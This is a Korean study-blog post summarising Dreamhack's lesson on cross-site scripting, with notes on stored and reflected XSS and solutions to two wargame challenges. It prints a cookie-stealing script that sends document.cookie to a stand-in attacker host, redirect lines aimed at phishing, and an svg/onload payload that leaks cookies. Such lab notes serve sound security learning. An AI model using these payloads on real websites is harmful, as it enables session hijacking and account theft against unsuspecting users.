3주차/XSS 개념

gkdudans·2023년 11월 25일

EVI$ION/웹

목록 보기
3/11

[드림핵] XSS 개념

#1. Cross-Site-Scripting (XSS)

  1. XSS

    1. XSS: 클라이언트 취약점 중 하나 - 이를 이용해 계정의 세션 정보 탈취 등의 행위 가, 공격자가 웹 리소스에 악성 스크립트 삽입
    2. XSS 공격 종류

    c. XSS 예시

    //쿠키 및 세션 탈취 공격 코드
    <script>
    alert("hello"); // "hello" 문자열 alert 실행.
    document.cookie; // 현재 페이지의 쿠키(return type: string)
    alert(document.cookie); // 현재 페이지의 쿠키를 인자로 가진 alert 실행.
    document.cookie = "name=test;"; // 쿠키 생성(key: name, value: test)
    
    // new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
    // "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
    new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
    </script>
    <script>
    // 이용자의 위치를 변경.
    // 피싱 공격 등으로 사용됨.
    location.href = "http://hacker.dreamhack.io/phishing"; 
    
    // 새 창 열기
    window.open("http://hacker.dreamhack.io/")
    </script>
  2. Stored XSS

    1. Stored XSS: 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트 조회할 때 발생하는 XSS
    2. ex) 게시물, 댓글에 악성 스크립트 포함에 업로드
  3. Reflected XSS

    1. Reflected XS: 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
    2. ex) 검색창에서 스크립트를 포함해 검색하는 방식
    3. Stored XSS와 다른 점: URL과 같은 이용자의 요청에 의해 발생, 다른 이용자가 악성 스크립트가 포함된 링크에 접속하도록

#2. [함께실습] XSS

  1. xss-1 | 워게임 | Dreamhack
  2. 문제 해결:
    1. 필터링이 없기 때문에
    2. XSS 공격을 위해 이용자의 cookie값을 탈취
    3. location.href를 통해 /memo로 주소를 옮김
    4. ?memo=+document.cookie; 를 통해 탈취한 cookie를 출력
    5. 정답:

#3. [혼자실습] XSS

  1. xss-2 | 워게임 | Dreamhack
  2. 문제 해결:
    1. svg/onload를 이용
    2. [함께실습] XSS와 같은 방법 사용, onload 구문
    3. 정답: <svg/onload=location="/memo?memo="+document.cookie;>
profile
https://github.com/gkdudans

0개의 댓글